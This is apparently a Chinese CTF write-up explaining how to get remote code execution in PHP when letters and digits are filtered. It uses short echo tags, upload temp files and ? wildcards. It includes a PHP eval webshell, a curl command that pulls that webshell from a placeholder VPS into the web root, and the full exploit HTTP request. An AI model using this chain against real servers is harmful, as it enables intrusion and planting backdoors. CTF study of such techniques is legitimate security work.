0%

从一道CTF题理解无字母数字RCE

如果遇到需要getshell的题目,但构造的webshell不能含有字母和数字,该怎么利用?常用的方式有,可以对变量进行变形、异或、取反等操作,最后动态执行函数。但若可供输入的字符更局限呢?

总结了一下关于无字母数字的RCE利用方式,类似的姿势还有很多,p神的文章有对此很清楚的讲解:

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

预备知识

1
2
3
4
5
一些不包含数字和字母的 webshell
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

无字母数字 webshell 之提高篇
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

php中很多时候会过滤大量的字符,导致根本无法进行正常的RCE利用,也因此会出现很多通过取反、异或、递增来构造想利用的php代码。

除此之外,最近看到一个题目,利用方法很是有趣

CTFshow 红包题目第二弹

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
highlight_file(__FILE__);
if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
die("cerror");
}
if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
die("serror");
}
eval($cmd);
}
?>

题目 ban 掉了除小写 p 以外的所有数字字母,以及所有位运算符和 $ _ 括号等符号

这个题目问题在于,在不能使用 echo() print() var_dump() 等函数的情况下如何输出?

我们都知道 php 代码以 <?php 作为开头,也可以简写为 <?,不过这是由 php 的配置文件决定的,在 short_open_tag 开放的情况下可以使用 <? 代替 <?php

但是这个和输出没啥关系。这里实际想提到的是另一个短开标签:

1
<?="your_ip";

实际上,<?= 是 echo() 的别名用法,并且在 php7 的情况下无论 short_open_tag 是否开了都可以使用。

在本题目环境实际使用的过程中,直接 <?= 还是不够的,需要先?>把前面的 <?php 给闭合掉才可以:

1
?cmd=?><?=`ls`;

通配符与无字母数组命令执行

命令执行的条件是需要我们有命令的写入,我们可以把命令写到一个文件里,文件的类型是任意的

由于php 的上传机制和临时文件,我们可以对这个 php 文件进行文件上传,那么就会生成一个名为 phpXXXXXX 的临时文件,虽然它会在这个脚本结束时被清理,但是我们可以在上传的同时执行它那么就会执行成功。

php上传机制中,上传什么就会在临时文件中保存什么。

在题目中由于正则的匹配就算是知道临时文件的文件名也没法用,更何况也不知道文件名。不过我们知道临时文件的命名规则,还能用小写 p,还能用通配符。关于通配符说白了就是用?或 * 进行文件名匹配,题目 ban 掉了 * 但是还可以用问号:

因此,我们可以用 /???/p?p??????表示这个临时文件

Getshell

首先我们在自己的vps上放个木马

1
<?php @eval($_POST['shell']);?>

然后 curl 这个一句话并输出到网站根目录下

1
curl http://your_vps/dd.txt >> /var/www/html/Demo.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: 618a0396-811a-4d71-8a45-f1de434bde26.chall.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------5642920497686823912130808832
Connection: close
Cookie: UM_distinctid=17424c95164f2-06a0a787df53968-4c302273-144000-17424c9516533d
Upgrade-Insecure-Requests: 1
Content-Length: 291

-----------------------------5642920497686823912130808832
Content-Disposition: form-data; name="fileUpload"; filename="dd.txt"
Content-Type: text/plain

#! /bin/sh

curl http://your_vps/dd.txt >> /var/www/html/Demo.php
-----------------------------5642920497686823912130808832--

这样就会把dd.txt里的内容以php的形式写入到网站服务器里。完成getshell。

----------------本文结束感谢阅读----------------